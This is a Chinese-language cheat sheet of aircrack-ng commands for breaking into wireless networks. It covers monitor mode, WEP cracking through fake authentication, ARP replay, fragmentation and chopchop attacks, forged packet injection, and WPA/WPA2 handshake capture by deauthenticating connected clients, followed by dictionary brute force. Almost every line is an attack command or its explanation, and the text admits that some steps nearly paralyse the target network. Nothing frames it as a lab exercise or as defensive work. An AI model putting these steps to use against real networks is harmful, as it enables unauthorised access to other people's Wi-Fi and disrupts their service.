初始化工作

airmon-ng start wlan0 9

開啟一個網絡卡監聽裝置，並設定到channel 9; channel可用iwconfig修改

airodump-ng mon0

無引數啟動airodump-ng可檢視所有接收範圍內的AP、Client資訊

aireplay-ng -9 -e (bssid) -a (AP Mac) ath0

測試注入攻擊鏈路質量

airodump-ng -c (channel) --bssid (AP Mac) -w output ath0

監聽AP在頻道的所有資料包並儲存到output檔案，此步應在以下步驟提到airodump的時候執行
WEP:

aireplay-ng -1 0 -e (bssid) -a (AP Mac) -h (Host Mac) ath0

偽認證聯機請求

aireplay-ng -1 6000 -o 1 -q 10 -e (bssid) -a (AP Mac) -h (Host Mac) ath0

偽認證聯機請求併發送保持線上資料

airodump-ng -c (channel) --bssid (AP Mac) -w output ath0

監聽收集

aireplay-ng -3 -b (AP Mac) -h (Host Mac) ath0

監聽arp報文，一旦出現就不斷將該報文重發，使目標機器產生實際迴應資料，發回更多IV資料。
此時若有“內奸”，即有可控制的已經連線在目標網段的機器，ping一個網段內不存在的IP即可產生這樣一個arp報文，接下來可以執行aircrack破解了。注意這個步驟可能會對目標區域網產生類似ARP洪水攻擊一樣的效果，網內資料延時丟包都很嚴重。
對於無機器連線的WEP：

aireplay-ng -5 -b (AP Mac) -h (Host Mac) ath0

Fragmenation攻擊，監聽一個AP廣播出來的資料包，並抽離有效的偽隨機資料（PRGA），儲存到fragment-XXXX-XXXXX.xor檔案供下一步使用.
有時監聽到的不是廣播包，轉發攻擊後ap沒有迴應，一系列重試後程序會重新監聽; 有時候可能需要不少時間，加-F引數可以自動應答。

aireplay-ng -4 -h 00:09:5B:EC:EE:F2 -b 00:14:6C:7E:40:80 ath0 

chopchop攻擊，上述攻擊不奏效可試，相同作用

packetforge-ng -0 -a (AP Mac) -h (Host Mac) -k 255.255.255.255 -l 255.255.255.255 -y fragment-0203-180343.xor -w arp-request

根據fragment-0203-180343.xor檔案的PRGA，產生arp請求包，儲存到arp-request檔案

使用-k 192.168.1.1 -l 10.255.255.255可使AP產生兩倍的有效IV，192.168.1.1為確實存在的IP，通常的閘道器
使用-k 192.168.1.89 -l 10.255.255.255可使AP產生三倍的有效IV，192.168.1.89為確實存在的客戶端IP

airodump-ng -c (channel) --bssid (AP Mac) -w output ath0

監聽收集

aireplay-ng -2 -r arp-request ath0

不斷注入上述產生的arp-request報文
這一步也會使目標網路接近癱瘓，極大延時，丟包。

aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b (AP Map) -h (Host Mac) ath0

上述產生、傳送arp-request的步驟可由這一步替換，這是轉發任何一個收到的有效資料包，方便，缺點是若資料包較大，轉發過程較慢。還可使用-r capture-01.cap讀取以前讀取的有效資料進行轉發注入。

aircrack-ng -b (AP Mac) capture*.cap 

解密

aircrack-ng -b (AP Mac) capture*.cap 

另一種解密演算法
WPA/WPA2:

airodump-ng -c (channel) --bssid (AP Mac) -w output ath0

監聽捕捉另外一客戶端與ap之間的連線，上方出現WPA handshake: xx:xx...為成功

aireplay-ng -0 1 -a (AP Mac) -c (The Mac of a connected client) ath0

往已經連線到ap的一個客戶端偽造一個離線包，使其離線重連以便捕捉handshake.
注意要收到ACK，才表明被攻擊客戶端收到，才會下線；傳送離線不宜過密過多。

aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 output*.cap

暴力破解。password.lst為密碼字典，破解的成功率取決於字典的覆蓋程度以及機器的速度。